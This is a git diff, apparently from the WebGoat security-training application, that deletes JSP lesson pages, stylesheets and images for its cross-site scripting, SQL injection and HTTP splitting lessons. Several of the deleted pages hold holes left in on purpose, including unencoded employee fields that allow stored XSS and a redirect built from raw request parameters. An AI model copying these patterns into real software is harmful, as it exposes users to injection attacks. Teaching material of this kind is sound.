webSession.getCurrentLesson(); -// int myUserId = getIntSessionAttribute(webSession, "CrossSiteScripting." + CrossSiteScripting.USER_ID); -%> -
Welcome Back <%=webSession.getUserNameInLesson()%>
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- First Name: - - <%=employee.getFirstName()%> - - Last Name: - - <%=employee.getLastName()%> -
- Street: - - - - <%=employee.getAddress1()%> - - City/State: - - <%=employee.getAddress2()%> -
- Phone: - - <%=employee.getPhoneNumber()%> - - Start Date: - - <%=employee.getStartDate()%> -
- SSN: - - <%=employee.getSsn()%> - - Salary: - - <%=employee.getSalary()%> -
- Credit Card: - - <%=employee.getCcn()%> - - Credit Card Limit: - - <%=employee.getCcnLimit()%> -
- Comments: - - - - <%=lesson.htmlEncode(webSession, employee.getPersonalDescription())%> - - Manager: - - <%=employee.getManager()%> -
- Disciplinary Explanation: - - <%=employee.getDisciplinaryActionNotes()%> - - Disciplinary Action Dates: - - <%=employee.getDisciplinaryActionDate()%> -
-
-
- - - - <% - } - %> - - - - - -
- <% - if (webSession.isAuthorizedInLesson(webSession.getUserIdInLesson(), CrossSiteScripting.LISTSTAFF_ACTION)) - { - %> -
- - -
- <% - if (webSession.isAuthorizedInLesson(webSession.getUserIdInLesson(), CrossSiteScripting.EDITPROFILE_ACTION)) - { - %> -
- - -
- <% - } - %> -
- <% - if (webSession.isAuthorizedInLesson(webSession.getUserIdInLesson(), CrossSiteScripting.DELETEPROFILE_ACTION)) - { - %> -
- - -
- <% - } - %> -
  -
- -
-
-
diff --git a/src/main/webapp/lessons/CrossSiteScripting/error.jsp b/src/main/webapp/lessons/CrossSiteScripting/error.jsp deleted file mode 100644 index 5af0a45dc..000000000 --- a/src/main/webapp/lessons/CrossSiteScripting/error.jsp +++ /dev/null @@ -1,3 +0,0 @@ -<%@ page contentType="text/html; charset=ISO-8859-1" language="java" - errorPage="" %> -


An error has occurred. diff --git a/src/main/webapp/lessons/CrossSiteScripting/images/lesson1_SearchWindow.jpg b/src/main/webapp/lessons/CrossSiteScripting/images/lesson1_SearchWindow.jpg deleted file mode 100644 index 39e1ed80d..000000000 Binary files a/src/main/webapp/lessons/CrossSiteScripting/images/lesson1_SearchWindow.jpg and /dev/null differ diff --git a/src/main/webapp/lessons/CrossSiteScripting/images/lesson1_header.jpg b/src/main/webapp/lessons/CrossSiteScripting/images/lesson1_header.jpg deleted file mode 100644 index 60a809af0..000000000 Binary files a/src/main/webapp/lessons/CrossSiteScripting/images/lesson1_header.jpg and /dev/null differ diff --git a/src/main/webapp/lessons/CrossSiteScripting/images/lesson1_loginWindow.jpg b/src/main/webapp/lessons/CrossSiteScripting/images/lesson1_loginWindow.jpg deleted file mode 100644 index c91f8a052..000000000 Binary files a/src/main/webapp/lessons/CrossSiteScripting/images/lesson1_loginWindow.jpg and /dev/null differ diff --git a/src/main/webapp/lessons/CrossSiteScripting/images/lesson1_menu.jpg b/src/main/webapp/lessons/CrossSiteScripting/images/lesson1_menu.jpg deleted file mode 100644 index 2c9512571..000000000 Binary files a/src/main/webapp/lessons/CrossSiteScripting/images/lesson1_menu.jpg and /dev/null differ diff --git a/src/main/webapp/lessons/CrossSiteScripting/images/lesson1_workspace.jpg b/src/main/webapp/lessons/CrossSiteScripting/images/lesson1_workspace.jpg deleted file mode 100644 index 292d25654..000000000 Binary files a/src/main/webapp/lessons/CrossSiteScripting/images/lesson1_workspace.jpg and /dev/null differ diff --git a/src/main/webapp/lessons/DBCrossSiteScripting/DBCrossSiteScripting.css b/src/main/webapp/lessons/DBCrossSiteScripting/DBCrossSiteScripting.css deleted file mode 100644 index 8ffcd6a7e..000000000 --- a/src/main/webapp/lessons/DBCrossSiteScripting/DBCrossSiteScripting.css +++ /dev/null @@ -1,14 +0,0 @@ -#lesson_wrapper {height: 435px;width: 500px;} -#lesson_header {background-image: url(lessons/CrossSiteScripting/images/lesson1_header.jpg);width: 490px;padding-right: 10px;padding-top: 60px;background-repeat: no-repeat;} -.lesson_workspace {background-image: url(lessons/CrossSiteScripting/images/lesson1_workspace.jpg);width: 489px;height: 325px;padding-left: 10px;padding-top: 10px;background-repeat: no-repeat;} -.lesson_text {height: 240px;width: 460px;padding-top: 5px;} -#lesson_buttons_bottom {height: 20px;width: 460px;} -#lesson_b_b_left {width: 300px;float: left;} -#lesson_b_b_right input {width: 100px;float: right;} -.lesson_title_box {height: 20px;width: 420px;padding-left: 30px;} -.lesson_workspace { } -.lesson_txt_10 {font-family: Arial, Helvetica, sans-serif;font-size: 10px;} -.lesson_text_db {color: #0066FF} -#lesson_login {background-image: url(lessons/CrossSiteScripting/images/lesson1_loginWindow.jpg);height: 124px;width: 311px;background-repeat: no-repeat;padding-top: 30px;margin-left: 80px;margin-top: 50px;text-align: center;} -#lesson_login_txt {font-family: Arial, Helvetica, sans-serif;font-size: 12px;text-align: center;} -#lesson_search {background-image: url(lessons/DBCrossSiteScripting/images/lesson1_SearchWindow.jpg);height: 124px;width: 311px;background-repeat: no-repeat;padding-top: 30px;margin-left: 80px;margin-top: 50px;text-align: center;} diff --git a/src/main/webapp/lessons/DBCrossSiteScripting/DBCrossSiteScripting.jsp b/src/main/webapp/lessons/DBCrossSiteScripting/DBCrossSiteScripting.jsp deleted file mode 100644 index 7d6ec61e0..000000000 --- a/src/main/webapp/lessons/DBCrossSiteScripting/DBCrossSiteScripting.jsp +++ /dev/null @@ -1,26 +0,0 @@ -<%@ page contentType="text/html; charset=ISO-8859-1" language="java" - import="org.owasp.webgoat.session.*, org.owasp.webgoat.lessons.DBCrossSiteScripting.DBCrossSiteScripting" - errorPage="" %> - -<% -WebSession webSession = ((WebSession)session.getAttribute("websession")); -DBCrossSiteScripting currentLesson = (DBCrossSiteScripting) webSession.getCurrentLesson(); -%> -
-
-
- <% - String subViewPage = currentLesson.getPage(webSession); - if (subViewPage != null) - { - //System.out.println("Including sub view page: " + subViewPage); - %> - - <% - } - %> - -
-
\ No newline at end of file diff --git a/src/main/webapp/lessons/DBCrossSiteScripting/EditProfile.jsp b/src/main/webapp/lessons/DBCrossSiteScripting/EditProfile.jsp deleted file mode 100644 index 42f5f08e1..000000000 --- a/src/main/webapp/lessons/DBCrossSiteScripting/EditProfile.jsp +++ /dev/null @@ -1,134 +0,0 @@ -<%@ page contentType="text/html; charset=ISO-8859-1" language="java" - import="java.util.*, org.owasp.webgoat.session.*, org.owasp.webgoat.lessons.DBCrossSiteScripting.DBCrossSiteScripting" - errorPage="" %> -<% - WebSession webSession = ((WebSession)session.getAttribute("websession")); - Employee employee = (Employee) session.getAttribute("DBCrossSiteScripting.Employee"); -%> -
Welcome Back <%=webSession.getUserNameInLesson()%>
-
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- First Name: - - - - Last Name: - - -
- Street: - - - - City/State: - - -
- Phone: - - - - Start Date: - - -
- SSN: - - - - Salary: - - -
- Credit Card: - - - - Credit Card Limit: - - -
- Comments: - - - - Manager: - - -
- Disciplinary Explanation: - - - - Disciplinary Action Dates: - - -
-
-
- - - - - - - - -
- - - - - - - -
-
-
-
\ No newline at end of file diff --git a/src/main/webapp/lessons/DBCrossSiteScripting/ListStaff.jsp b/src/main/webapp/lessons/DBCrossSiteScripting/ListStaff.jsp deleted file mode 100644 index a7c831377..000000000 --- a/src/main/webapp/lessons/DBCrossSiteScripting/ListStaff.jsp +++ /dev/null @@ -1,56 +0,0 @@ -<%@ page contentType="text/html; charset=ISO-8859-1" language="java" - import="java.util.*, org.owasp.webgoat.session.*, org.owasp.webgoat.lessons.DBCrossSiteScripting.DBCrossSiteScripting" - errorPage="" %> -<% - WebSession webSession = ((WebSession)session.getAttribute("websession")); - int myUserId = webSession.getUserIdInLesson(); -%> -
Welcome Back <%=webSession.getUserNameInLesson()%> - Staff Listing Page
-
-
-
-

Select from the list below

-
- - - - - -
-
-
- <% - if (webSession.isAuthorizedInLesson(myUserId, DBCrossSiteScripting.CREATEPROFILE_ACTION)) - { - %> -
- <% - } - %> - <% - if (webSession.isAuthorizedInLesson(myUserId, DBCrossSiteScripting.DELETEPROFILE_ACTION)) - { - %> -
- <% - } - %> -
- -
- -
- diff --git a/src/main/webapp/lessons/DBCrossSiteScripting/Login.jsp b/src/main/webapp/lessons/DBCrossSiteScripting/Login.jsp deleted file mode 100644 index 9daefd1b6..000000000 --- a/src/main/webapp/lessons/DBCrossSiteScripting/Login.jsp +++ /dev/null @@ -1,32 +0,0 @@ -<%@ page contentType="text/html; charset=ISO-8859-1" language="java" - import="java.util.*, org.owasp.webgoat.session.*, org.owasp.webgoat.lessons.DBCrossSiteScripting.DBCrossSiteScripting" - errorPage="" %> -
-
- <% - WebSession webSession = ((WebSession)session.getAttribute("websession")); - %> -
- -
- -
- -
-
-
\ No newline at end of file diff --git a/src/main/webapp/lessons/DBCrossSiteScripting/SearchStaff.jsp b/src/main/webapp/lessons/DBCrossSiteScripting/SearchStaff.jsp deleted file mode 100644 index ddc5519b5..000000000 --- a/src/main/webapp/lessons/DBCrossSiteScripting/SearchStaff.jsp +++ /dev/null @@ -1,22 +0,0 @@ -<%@ page contentType="text/html; charset=ISO-8859-1" language="java" - import="org.owasp.webgoat.session.*, org.owasp.webgoat.lessons.DBCrossSiteScripting.DBCrossSiteScripting" - errorPage="" %> - \ No newline at end of file diff --git a/src/main/webapp/lessons/DBCrossSiteScripting/ViewProfile.jsp b/src/main/webapp/lessons/DBCrossSiteScripting/ViewProfile.jsp deleted file mode 100644 index ce0fee2b2..000000000 --- a/src/main/webapp/lessons/DBCrossSiteScripting/ViewProfile.jsp +++ /dev/null @@ -1,151 +0,0 @@ -<%@ page contentType="text/html; charset=ISO-8859-1" language="java" - import="org.owasp.webgoat.session.*, org.owasp.webgoat.lessons.DBCrossSiteScripting.DBCrossSiteScripting" errorPage="" %> -<% -WebSession webSession = ((WebSession)session.getAttribute("websession")); - Employee employee = (Employee) session.getAttribute("DBCrossSiteScripting." + DBCrossSiteScripting.EMPLOYEE_ATTRIBUTE_KEY); -%> -
Welcome Back <%=webSession.getUserNameInLesson()%>
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- First Name: - - <%=employee.getFirstName()%> - - Last Name: - - <%=employee.getLastName()%> -
- Street: - - <%=employee.getAddress1()%> - - City/State: - - <%=employee.getAddress2()%> -
- Phone: - - <%=employee.getPhoneNumber()%> - - Start Date: - - <%=employee.getStartDate()%> -
- SSN: - - <%=employee.getSsn()%> - - Salary: - - <%=employee.getSalary()%> -
- Credit Card: - - <%=employee.getCcn()%> - - Credit Card Limit: - - <%=employee.getCcnLimit()%> -
- Comments: - - <%=employee.getPersonalDescription()%> - - Manager: - - <%=employee.getManager()%> -
- Disciplinary Explanation: - - <%=employee.getDisciplinaryActionNotes()%> - - Disciplinary Action Dates: - - <%=employee.getDisciplinaryActionDate()%> -
-
-
- - - - <% - } - %> - - - - - -
- <% - if (webSession.isAuthorizedInLesson(webSession.getUserIdInLesson(), DBCrossSiteScripting.LISTSTAFF_ACTION)) - { - %> -
- - -
- <% - if (webSession.isAuthorizedInLesson(webSession.getUserIdInLesson(), DBCrossSiteScripting.EDITPROFILE_ACTION)) - { - %> -
- - -
- <% - } - %> -
- <% - if (webSession.isAuthorizedInLesson(webSession.getUserIdInLesson(), DBCrossSiteScripting.DELETEPROFILE_ACTION)) - { - %> -
- - -
- <% - } - %> -
  -
- -
-
-
diff --git a/src/main/webapp/lessons/DBCrossSiteScripting/error.jsp b/src/main/webapp/lessons/DBCrossSiteScripting/error.jsp deleted file mode 100644 index 5af0a45dc..000000000 --- a/src/main/webapp/lessons/DBCrossSiteScripting/error.jsp +++ /dev/null @@ -1,3 +0,0 @@ -<%@ page contentType="text/html; charset=ISO-8859-1" language="java" - errorPage="" %> -


An error has occurred. diff --git a/src/main/webapp/lessons/DBCrossSiteScripting/images/lesson1_SearchWindow.jpg b/src/main/webapp/lessons/DBCrossSiteScripting/images/lesson1_SearchWindow.jpg deleted file mode 100644 index 39e1ed80d..000000000 Binary files a/src/main/webapp/lessons/DBCrossSiteScripting/images/lesson1_SearchWindow.jpg and /dev/null differ diff --git a/src/main/webapp/lessons/DBCrossSiteScripting/images/lesson1_header.jpg b/src/main/webapp/lessons/DBCrossSiteScripting/images/lesson1_header.jpg deleted file mode 100644 index 60a809af0..000000000 Binary files a/src/main/webapp/lessons/DBCrossSiteScripting/images/lesson1_header.jpg and /dev/null differ diff --git a/src/main/webapp/lessons/DBCrossSiteScripting/images/lesson1_loginWindow.jpg b/src/main/webapp/lessons/DBCrossSiteScripting/images/lesson1_loginWindow.jpg deleted file mode 100644 index c91f8a052..000000000 Binary files a/src/main/webapp/lessons/DBCrossSiteScripting/images/lesson1_loginWindow.jpg and /dev/null differ diff --git a/src/main/webapp/lessons/DBCrossSiteScripting/images/lesson1_menu.jpg b/src/main/webapp/lessons/DBCrossSiteScripting/images/lesson1_menu.jpg deleted file mode 100644 index 2c9512571..000000000 Binary files a/src/main/webapp/lessons/DBCrossSiteScripting/images/lesson1_menu.jpg and /dev/null differ diff --git a/src/main/webapp/lessons/DBCrossSiteScripting/images/lesson1_workspace.jpg b/src/main/webapp/lessons/DBCrossSiteScripting/images/lesson1_workspace.jpg deleted file mode 100644 index 292d25654..000000000 Binary files a/src/main/webapp/lessons/DBCrossSiteScripting/images/lesson1_workspace.jpg and /dev/null differ diff --git a/src/main/webapp/lessons/DBSQLInjection/DBSQLInjection.css b/src/main/webapp/lessons/DBSQLInjection/DBSQLInjection.css deleted file mode 100644 index b0b84331b..000000000 --- a/src/main/webapp/lessons/DBSQLInjection/DBSQLInjection.css +++ /dev/null @@ -1,14 +0,0 @@ -#lesson_wrapper {height: 435px;width: 500px;} -#lesson_header {background-image: url(lessons/DBSQLInjection/images/lesson1_header.jpg);width: 490px;padding-right: 10px;padding-top: 60px;background-repeat: no-repeat;} -.lesson_workspace {background-image: url(lessons/DBSQLInjection/images/lesson1_workspace.jpg);width: 489px;height: 325px;padding-left: 10px;padding-top: 10px;background-repeat: no-repeat;} -.lesson_text {height: 240px;width: 460px;padding-top: 5px;} -#lesson_buttons_bottom {height: 20px;width: 460px;} -#lesson_b_b_left {width: 300px;float: left;} -#lesson_b_b_right input {width: 100px;float: right;} -.lesson_title_box {height: 20px;width: 420px;padding-left: 30px;} -.lesson_workspace { } -.lesson_txt_10 {font-family: Arial, Helvetica, sans-serif;font-size: 10px;} -.lesson_text_db {color: #0066FF} -#lesson_login {background-image: url(lessons/DBSQLInjection/images/lesson1_loginWindow.jpg);height: 124px;width: 311px;background-repeat: no-repeat;padding-top: 30px;margin-left: 80px;margin-top: 50px;text-align: center;} -#lesson_login_txt {font-family: Arial, Helvetica, sans-serif;font-size: 12px;text-align: center;} -#lesson_search {background-image: url(lessons/DBSQLInjection/images/lesson1_SearchWindow.jpg);height: 124px;width: 311px;background-repeat: no-repeat;padding-top: 30px;margin-left: 80px;margin-top: 50px;text-align: center;} diff --git a/src/main/webapp/lessons/DBSQLInjection/DBSQLInjection.jsp b/src/main/webapp/lessons/DBSQLInjection/DBSQLInjection.jsp deleted file mode 100644 index 7bf2fc250..000000000 --- a/src/main/webapp/lessons/DBSQLInjection/DBSQLInjection.jsp +++ /dev/null @@ -1,26 +0,0 @@ -<%@ page contentType="text/html; charset=ISO-8859-1" language="java" - import="org.owasp.webgoat.session.*, org.owasp.webgoat.lessons.DBSQLInjection.DBSQLInjection" - errorPage="" %> - -<% -WebSession webSession = ((WebSession)session.getAttribute("websession")); -DBSQLInjection currentLesson = (DBSQLInjection) webSession.getCurrentLesson(); -%> -
-
-
- <% - String subViewPage = currentLesson.getPage(webSession); - if (subViewPage != null) - { - //System.out.println("Including sub view page: " + subViewPage); - %> - - <% - } - %> - -
-
\ No newline at end of file diff --git a/src/main/webapp/lessons/DBSQLInjection/EditProfile.jsp b/src/main/webapp/lessons/DBSQLInjection/EditProfile.jsp deleted file mode 100644 index 92abe249f..000000000 --- a/src/main/webapp/lessons/DBSQLInjection/EditProfile.jsp +++ /dev/null @@ -1,133 +0,0 @@ -<%@ page contentType="text/html; charset=ISO-8859-1" language="java" - import="java.util.*, org.owasp.webgoat.session.*, org.owasp.webgoat.lessons.DBSQLInjection.DBSQLInjection" - errorPage="" %> -<% - WebSession webSession = ((WebSession)session.getAttribute("websession")); - Employee employee = (Employee) session.getAttribute("DBSQLInjection.Employee"); -%> -
Welcome Back <%=webSession.getUserNameInLesson()%>
-
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- First Name: - - - - Last Name: - - -
- Street: - - - - City/State: - - -
- Phone: - - - - Start Date: - - -
- SSN: - - - - Salary: - - -
- Credit Card: - - - - Credit Card Limit: - - -
- Comments: - - - - Manager: - - -
- Disciplinary Explanation: - - - - Disciplinary Action Dates: - - -
-
-
- - - - - - - - -
- - - - - - - -
-
-
diff --git a/src/main/webapp/lessons/DBSQLInjection/ListStaff.jsp b/src/main/webapp/lessons/DBSQLInjection/ListStaff.jsp deleted file mode 100644 index 3691a8280..000000000 --- a/src/main/webapp/lessons/DBSQLInjection/ListStaff.jsp +++ /dev/null @@ -1,57 +0,0 @@ -<%@ page contentType="text/html; charset=ISO-8859-1" language="java" - import="java.util.*, org.owasp.webgoat.session.*, org.owasp.webgoat.lessons.DBSQLInjection.DBSQLInjection" - errorPage="" %> -<% - WebSession webSession = ((WebSession)session.getAttribute("websession")); - int myUserId = webSession.getUserIdInLesson(); -%> -
Welcome Back <%=webSession.getUserNameInLesson()%> - Staff Listing Page
-
-
-
-

Select from the list below

- -
- - - - - -
-
-
- <% - if (webSession.isAuthorizedInLesson(myUserId, DBSQLInjection.CREATEPROFILE_ACTION)) - { - %> -
- <% - } - %> - <% - if (webSession.isAuthorizedInLesson(myUserId, DBSQLInjection.DELETEPROFILE_ACTION)) - { - %> -
- <% - } - %> -
- -
- -
- diff --git a/src/main/webapp/lessons/DBSQLInjection/Login.jsp b/src/main/webapp/lessons/DBSQLInjection/Login.jsp deleted file mode 100644 index 4807f7d9c..000000000 --- a/src/main/webapp/lessons/DBSQLInjection/Login.jsp +++ /dev/null @@ -1,32 +0,0 @@ -<%@ page contentType="text/html; charset=ISO-8859-1" language="java" - import="java.util.*, org.owasp.webgoat.session.*, org.owasp.webgoat.lessons.DBSQLInjection.DBSQLInjection" - errorPage="" %> -
-
- <% - WebSession webSession = ((WebSession)session.getAttribute("websession")); - %> -
- -
- -
- -
-
-
\ No newline at end of file diff --git a/src/main/webapp/lessons/DBSQLInjection/SearchStaff.jsp b/src/main/webapp/lessons/DBSQLInjection/SearchStaff.jsp deleted file mode 100644 index 0c42a5a32..000000000 --- a/src/main/webapp/lessons/DBSQLInjection/SearchStaff.jsp +++ /dev/null @@ -1,22 +0,0 @@ -<%@ page contentType="text/html; charset=ISO-8859-1" language="java" - import="org.owasp.webgoat.session.*, org.owasp.webgoat.lessons.DBSQLInjection.DBSQLInjection" - errorPage="" %> - \ No newline at end of file diff --git a/src/main/webapp/lessons/DBSQLInjection/ViewProfile.jsp b/src/main/webapp/lessons/DBSQLInjection/ViewProfile.jsp deleted file mode 100644 index bd9151a63..000000000 --- a/src/main/webapp/lessons/DBSQLInjection/ViewProfile.jsp +++ /dev/null @@ -1,154 +0,0 @@ -<%@ page contentType="text/html; charset=ISO-8859-1" language="java" - import="org.owasp.webgoat.session.*, org.owasp.webgoat.lessons.DBSQLInjection.DBSQLInjection" - errorPage="" %> -<% - WebSession webSession = ((WebSession)session.getAttribute("websession")); - Employee employee = (Employee) session.getAttribute("DBSQLInjection." + DBSQLInjection.EMPLOYEE_ATTRIBUTE_KEY); -// int myUserId = getIntSessionAttribute(webSession, "DBSQLInjection." + DBSQLInjection.USER_ID); -%> -
Welcome Back <%=webSession.getUserNameInLesson()%>
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- First Name: - - <%=employee.getFirstName()%> - - Last Name: - - <%=employee.getLastName()%> -
- Street: - - <%=employee.getAddress1()%> - - City/State: - - <%=employee.getAddress2()%> -
- Phone: - - <%=employee.getPhoneNumber()%> - - Start Date: - - <%=employee.getStartDate()%> -
- SSN: - - <%=employee.getSsn()%> - - Salary: - - <%=employee.getSalary()%> -
- Credit Card: - - <%=employee.getCcn()%> - - Credit Card Limit: - - <%=employee.getCcnLimit()%> -
- Comments: - - <%=employee.getPersonalDescription()%> - - Manager: - - <%=employee.getManager()%> -
- Disciplinary Explanation: - - <%=employee.getDisciplinaryActionNotes()%> - - Disciplinary Action Dates: - - <%=employee.getDisciplinaryActionDate()%> -
-
-
- - - - - - - - -
- <% - if (webSession.isAuthorizedInLesson(webSession.getUserIdInLesson(), DBSQLInjection.LISTSTAFF_ACTION)) - { - %> -
- - -
- <% - } - %> -
- <% - if (webSession.isAuthorizedInLesson(webSession.getUserIdInLesson(), DBSQLInjection.EDITPROFILE_ACTION)) - { - %> -
- - -
- <% - } - %> -
- <% - if (webSession.isAuthorizedInLesson(webSession.getUserIdInLesson(), DBSQLInjection.DELETEPROFILE_ACTION)) - { - %> -
- - -
- <% - } - %> -
  -
- -
-
-
\ No newline at end of file diff --git a/src/main/webapp/lessons/DBSQLInjection/error.jsp b/src/main/webapp/lessons/DBSQLInjection/error.jsp deleted file mode 100644 index 5af0a45dc..000000000 --- a/src/main/webapp/lessons/DBSQLInjection/error.jsp +++ /dev/null @@ -1,3 +0,0 @@ -<%@ page contentType="text/html; charset=ISO-8859-1" language="java" - errorPage="" %> -


An error has occurred. diff --git a/src/main/webapp/lessons/DBSQLInjection/images/lesson1_SearchWindow.jpg b/src/main/webapp/lessons/DBSQLInjection/images/lesson1_SearchWindow.jpg deleted file mode 100644 index 39e1ed80d..000000000 Binary files a/src/main/webapp/lessons/DBSQLInjection/images/lesson1_SearchWindow.jpg and /dev/null differ diff --git a/src/main/webapp/lessons/DBSQLInjection/images/lesson1_header.jpg b/src/main/webapp/lessons/DBSQLInjection/images/lesson1_header.jpg deleted file mode 100644 index 60a809af0..000000000 Binary files a/src/main/webapp/lessons/DBSQLInjection/images/lesson1_header.jpg and /dev/null differ diff --git a/src/main/webapp/lessons/DBSQLInjection/images/lesson1_loginWindow.jpg b/src/main/webapp/lessons/DBSQLInjection/images/lesson1_loginWindow.jpg deleted file mode 100644 index c91f8a052..000000000 Binary files a/src/main/webapp/lessons/DBSQLInjection/images/lesson1_loginWindow.jpg and /dev/null differ diff --git a/src/main/webapp/lessons/DBSQLInjection/images/lesson1_menu.jpg b/src/main/webapp/lessons/DBSQLInjection/images/lesson1_menu.jpg deleted file mode 100644 index 2c9512571..000000000 Binary files a/src/main/webapp/lessons/DBSQLInjection/images/lesson1_menu.jpg and /dev/null differ diff --git a/src/main/webapp/lessons/DBSQLInjection/images/lesson1_workspace.jpg b/src/main/webapp/lessons/DBSQLInjection/images/lesson1_workspace.jpg deleted file mode 100644 index 292d25654..000000000 Binary files a/src/main/webapp/lessons/DBSQLInjection/images/lesson1_workspace.jpg and /dev/null differ diff --git a/src/main/webapp/lessons/General/redirect.jsp b/src/main/webapp/lessons/General/redirect.jsp deleted file mode 100644 index 41e9abef1..000000000 --- a/src/main/webapp/lessons/General/redirect.jsp +++ /dev/null @@ -1,16 +0,0 @@ -<%@ page language="java" contentType="text/html; charset=ISO-8859-1" - pageEncoding="ISO-8859-1"%> - - - - -HTTP Splitting - - -<% response.sendRedirect(request.getContextPath() + "/attack?" + - "Screen=" + request.getParameter("Screen") + - "&menu=" + request.getParameter("menu") + - "&fromRedirect=yes&language=" + request.getParameter("language")); -%> - - \ No newline at end of file diff --git a/src/main/webapp/lessons/GoatHillsFinancial/EditProfile.jsp b/src/main/webapp/lessons/GoatHillsFinancial/EditProfile.jsp deleted file mode 100644 index d486230e7..000000000 --- a/src/main/webapp/lessons/GoatHillsFinancial/EditProfile.jsp +++ /dev/null @@ -1,137 +0,0 @@ -<%@ page contentType="text/html; charset=ISO-8859-1" language="java" - import="java.util.*, org.owasp.webgoat.session.*, org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial" - errorPage="" %> -<% - WebSession webSession = ((WebSession)session.getAttribute("websession")); - Employee employee = (Employee) session.getAttribute("GoatHillsFinancial.Employee"); -%> -
Welcome Back <%=webSession.getUserNameInLesson()%> - Edit Profile Page
-
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- First Name: - - - - Last Name: - -
- Street: - - - - City/State: - - -
- Phone: - - - - Start Date: - - -
- SSN: - - - - Salary: - - -
- Credit Card: - - - - Credit Card Limit: - - -
- Comments: - - -
- Disciplinary Explanation: - - Disc. Date: - - -
- -
- Manager: - - -
-
-
- - - - - - - - -
- - - - - - - -
-
-
- \ No newline at end of file diff --git a/src/main/webapp/lessons/GoatHillsFinancial/GoatHillsFinancial.css b/src/main/webapp/lessons/GoatHillsFinancial/GoatHillsFinancial.css deleted file mode 100644 index 61e93f63c..000000000 --- a/src/main/webapp/lessons/GoatHillsFinancial/GoatHillsFinancial.css +++ /dev/null @@ -1,14 +0,0 @@ -#lesson_wrapper {height: 435px;width: 500px;} -#lesson_header {background-image: url(lessons/GoatHillsFinancial/images/lesson1_header.jpg);width: 490px;padding-right: 10px;padding-top: 60px;background-repeat: no-repeat;} -.lesson_workspace {background-image: url(lessons/GoatHillsFinancial/images/lesson1_workspace.jpg);width: 489px;height: 325px;padding-left: 10px;padding-top: 10px;background-repeat: no-repeat;} -.lesson_text {height: 240px;width: 460px;padding-top: 5px;} -#lesson_buttons_bottom {height: 20px;width: 460px;} -#lesson_b_b_left {width: 300px;float: left;} -#lesson_b_b_right input {width: 100px;float: right;} -.lesson_title_box {height: 20px;width: 420px;padding-left: 30px;} -.lesson_workspace { } -.lesson_txt_10 {font-family: Arial, Helvetica, sans-serif;font-size: 10px;} -.lesson_text_db {color: #0066FF} -#lesson_login {background-image: url(lessons/GoatHillsFinancial/images/lesson1_loginWindow.jpg);height: 124px;width: 311px;background-repeat: no-repeat;padding-top: 30px;margin-left: 80px;margin-top: 50px;text-align: center;} -#lesson_login_txt {font-family: Arial, Helvetica, sans-serif;font-size: 12px;text-align: center;} -#lesson_search {background-image: url(lessons/GoatHillsFinancial/images/lesson1_SearchWindow.jpg);height: 124px;width: 311px;background-repeat: no-repeat;padding-top: 30px;margin-left: 80px;margin-top: 50px;text-align: center;} diff --git a/src/main/webapp/lessons/GoatHillsFinancial/GoatHillsFinancial.jsp b/src/main/webapp/lessons/GoatHillsFinancial/GoatHillsFinancial.jsp deleted file mode 100644 index 90dbef989..000000000 --- a/src/main/webapp/lessons/GoatHillsFinancial/GoatHillsFinancial.jsp +++ /dev/null @@ -1,30 +0,0 @@ -<%@ page contentType="text/html; charset=ISO-8859-1" language="java" - import="org.owasp.webgoat.session.*" - errorPage="" %> -<%@page import="org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;"%> - -<% -WebSession webSession = ((WebSession)session.getAttribute("websession")); -System.out.println("WebSession is " + webSession); -GoatHillsFinancial currentLesson = (GoatHillsFinancial) webSession.getCurrentLesson(); -System.out.println("CurrentLesson = " + currentLesson); -%> -
-
-
- <% - String subViewPage = currentLesson.getPage(webSession); - System.out.println("SubViewPage is " + subViewPage); - if (subViewPage != null) - { - //System.out.println("Including sub view page: " + subViewPage); - %> - - <% - } - %> - -
-
\ No newline at end of file diff --git a/src/main/webapp/lessons/GoatHillsFinancial/ListStaff.jsp b/src/main/webapp/lessons/GoatHillsFinancial/ListStaff.jsp deleted file mode 100644 index 40e78abb0..000000000 --- a/src/main/webapp/lessons/GoatHillsFinancial/ListStaff.jsp +++ /dev/null @@ -1,57 +0,0 @@ -<%@ page contentType="text/html; charset=ISO-8859-1" language="java" - import="java.util.*, org.owasp.webgoat.session.*, org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial" - errorPage="" %> -<% - WebSession webSession = ((WebSession)session.getAttribute("websession")); - int myUserId = webSession.getUserIdInLesson(); -%> -
Welcome Back <%=webSession.getUserNameInLesson()%> - Staff Listing Page
-
-
-
-

Select from the list below

- -
- - - - - -
-
-
- <% - if (webSession.isAuthorizedInLesson(myUserId, GoatHillsFinancial.CREATEPROFILE_ACTION)) - { - %> -
- <% - } - %> - <% - if (webSession.isAuthorizedInLesson(myUserId, GoatHillsFinancial.DELETEPROFILE_ACTION)) - { - %> -
- <% - } - %> -
- -
- -
- \ No newline at end of file diff --git a/src/main/webapp/lessons/GoatHillsFinancial/Login.jsp b/src/main/webapp/lessons/GoatHillsFinancial/Login.jsp deleted file mode 100644 index 9e13040cd..000000000 --- a/src/main/webapp/lessons/GoatHillsFinancial/Login.jsp +++ /dev/null @@ -1,32 +0,0 @@ -<%@ page contentType="text/html; charset=ISO-8859-1" language="java" - import="java.util.*, org.owasp.webgoat.session.*, org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial" - errorPage="" %> -
-
- <% - WebSession webSession = ((WebSession)session.getAttribute("websession")); - %> -
- -
- -
- -
-
-
